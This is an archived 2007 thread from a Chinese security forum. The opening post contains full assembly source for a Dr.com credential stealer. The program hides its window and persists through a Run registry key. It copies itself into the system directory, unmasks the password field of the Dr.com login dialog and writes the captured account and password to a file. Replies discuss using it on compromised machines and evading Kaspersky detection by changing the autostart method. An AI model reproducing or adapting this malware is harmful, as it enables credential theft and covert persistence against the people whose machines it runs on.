邪恶八进制信息安全团队技术讨论组's Archiver

麦田的怪 2007-5-28 09:00

[原创]麦田Drcom密码捕获者V1.0(附源码)

文章作者:麦田的怪([url=http://blog.mtian.cn]http://blog.mtian.cn[/url])
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

学习汇编,练手写的一个东西,发给大家玩玩。用的都是一些土办法,大家看了不要笑我。另外希望大家看了代码后多批评一下,毕竟时初学,肯定有很多不对不规范的地方。Dr.com是城市热点公司开发的宽带计费系统,在全国高校,企业,G0vernment机关广泛使用.

说明:
1,可以捕获到Drcom客户端的帐号和密码
2,运行后复制自身到系统目录,并在注册表里设置为自启动。
3,捕获的帐号和密码保存到文件里,文件的位置:C:\Documents and Settings\Administrator\DrcomPsw.txt(假设你的系统在C盘,用户名是Administrator。)
4,保存文件后,进程自动退出。
5,清除的办法:杀死进程GetDrcomPsw.exe后,删除注册表里HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下的GetDrcomPsw键值,删除系统目录下的GetDrcomPsw.exe文件。


[code]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; by 麦田的怪, [url]http://blog.mtian.cn[/url]
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; GetDrcomPsw.asm
; Drcom密码捕获者
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_TIMER equ 1
DLG_MAIN equ 1003h
IDC_SHOW equ 1004h
WM_HOOK equ WM_USER + 100h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data

szClaStat db 'Static',0
szClaEdit db 'Edit',0
szTitAcc db '用户帐号',0
szTitPsw db ' 密 码 ',0
szLog db 'DrcomPsw.txt',0
szXie db '\',0
szExe db 'GetDrcomPsw.exe',0
szSelfDir db 156 dup(0)
lpsystem db 156 dup (0)
szSystem db 156 dup(0)

.data?
szBuffer db 256 dup (?)
Flag db ?
hInstance dd ?
hdrcom dd ?
hEditAcc dd ?
hEditPsw dd ?
hFile dd ?
hWinMain dd ?
szPsw db 255 dup(?)
szAcc db 255 dup(?)
dwOption db ?
F_FIND equ 0001h

.const
szRegKey db "SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0
szRegValue db "GetDrcomPsw",0
szDestClass db '#32770',0 ;目标窗口的窗口类
szDrCaption db 'Dr.COM 用户认证程序',0
szLogtxt db '本文件由麦田Drcom密码捕获者生成',0dh,0ah
db '帐号:%s ',0dh,0ah
db '密码:%s ',0dh,0ah,0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;自启动
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnumKey proc

local @hKey

invoke RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey
.if eax == ERROR_SUCCESS
invoke RegSetValueEx,@hKey,addr szRegValue,NULL,\
REG_SZ,addr szSystem,sizeof szSystem
invoke RegCloseKey,@hKey
.endif

ret

_EnumKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;复制到系统目录
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_CopyToSystem proc

invoke GetModuleFileName,NULL,addr szSelfDir,200
invoke GetSystemDirectory,addr lpsystem,50
invoke lstrcat,addr szSystem,addr lpsystem ;串联字符
invoke lstrcat,addr szSystem,addr szXie
invoke lstrcat,addr szSystem,addr szExe;串联成完整路径
invoke CopyFile,addr szSelfDir,addr szSystem,FALSE

ret

_CopyToSystem endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;保存密码到DrcomPsw.txt文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_SavePass proc

local @szBuffer[68]:byte,@dwBytesWrite

invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
invoke wsprintf,addr @szBuffer,addr szLogtxt,addr szAcc,addr szPsw
invoke CreateFile,addr szLog,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
mov hFile,eax
invoke WriteFile,hFile,addr @szBuffer,68,addr @dwBytesWrite,NULL
invoke CloseHandle,hFile

xor eax, eax
ret
_SavePass endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 得到登陆窗口后的函数。
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindDrocm proc

.if hdrcom

invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitAcc
.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditAcc,eax
invoke SendMessage, hEditAcc, WM_GETTEXT, 255, addr szAcc
.endif

invoke FindWindowEx,hdrcom,NULL,addr szClaStat,addr szTitPsw
.if eax
invoke FindWindowEx,hdrcom,eax,addr szClaEdit,NULL
mov hEditPsw,eax
invoke PostMessage,hEditPsw,EM_SETPASSWORDCHAR,0,0
invoke SendMessage, hEditPsw, WM_GETTEXT, 255, addr szPsw
.endif

.endif
xor eax, eax
ret

_FindDrocm endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcWinMain proc uses ebx edi esi hWnd,uMsg,wParam,lParam

mov eax,uMsg
;********************************************************************
.if eax == WM_CREATE
invoke _CopyToSystem
invoke _EnumKey
invoke SetTimer,hWnd,ID_TIMER,100,NULL
.elseif eax == WM_TIMER
mov eax,wParam
.if eax == ID_TIMER
invoke FindWindow,addr szDestClass,addr szDrCaption
.if eax
mov hdrcom,eax
invoke _FindDrocm
or dwOption,F_FIND
.elseif

.if dwOption & F_FIND
invoke _SavePass
invoke KillTimer,hWnd,ID_TIMER
invoke DestroyWindow,hWinMain
invoke PostQuitMessage,NULL
.endif

.endif
.endif
;********************************************************************
.elseif eax == WM_CLOSE
invoke KillTimer,hWnd,ID_TIMER
invoke DestroyWindow,hWinMain
invoke PostQuitMessage,NULL
;********************************************************************
.else
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.endif
;********************************************************************
xor eax,eax
ret

_ProcWinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WinMain proc
local @stWndClass:WNDCLASSEX
local @stMsg:MSG

invoke GetModuleHandle,NULL
mov hInstance,eax
invoke RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
;********************************************************************
; 注册窗口类
;********************************************************************
invoke LoadCursor,0,IDC_ARROW
mov @stWndClass.hCursor,eax
push hInstance
pop @stWndClass.hInstance
mov @stWndClass.cbSize,sizeof WNDCLASSEX
mov @stWndClass.style,CS_HREDRAW or CS_VREDRAW
mov @stWndClass.lpfnWndProc,offset _ProcWinMain
mov @stWndClass.hbrBackground,COLOR_WINDOW + 1
mov @stWndClass.lpszClassName,offset szTitAcc
invoke RegisterClassEx,addr @stWndClass
;********************************************************************
; 建立并显示窗口
;********************************************************************
invoke CreateWindowEx,WS_EX_CLIENTEDGE,offset szTitAcc,offset szTitAcc,\
WS_OVERLAPPEDWINDOW,\
100,100,600,400,\
NULL,NULL,hInstance,NULL
mov hWinMain,eax
invoke ShowWindow,hWinMain,SW_HIDE
invoke UpdateWindow,hWinMain
;********************************************************************
; 消息循环
;********************************************************************
.while TRUE
invoke GetMessage,addr @stMsg,NULL,0,0
.break .if eax == 0
invoke TranslateMessage,addr @stMsg
invoke DispatchMessage,addr @stMsg
.endw
ret

_WinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call _WinMain
invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start


[/code]

寂寞宝贝 2007-5-28 09:09

汗!千篇一率的启动方法!10台肉鸡!估计9台拦截掉添加启动项!

麦田的怪 2007-5-28 11:16

听说咔吧不监视启动文件夹,准备把启动的方式改成启动文件夹那,可是自己比较懒。以后再弄吧。

寂寞宝贝 2007-5-28 11:55

只过卡巴就没意思了!呵呵!期待楼主有个好创意!

xiao2004 2007-5-28 12:49

帖这两个函数就够了,
PostMessage
SendMessage

麦田的怪 2007-5-28 13:11

偶已经说过了,我只是个新手。刚学习编程,大家就不要笑我了。
本来我是想把密码框子类化的,可是总是不成功,郁闷了,就写了这个垃圾东西。

cmwl 2007-5-29 11:51

跟楼上的意思一样,看不太明白,要努力啊!
貌似用汇编进行WIN API编程,不知道对不对,偶瞎说的哈!

[s:266] [s:264]

4nge.7b 2007-5-31 17:42

to:xiao2004
呵呵,你说的应该是模拟点击吧~ [s:263]

页: [1]
© 1999-2008 EvilOctal Security Team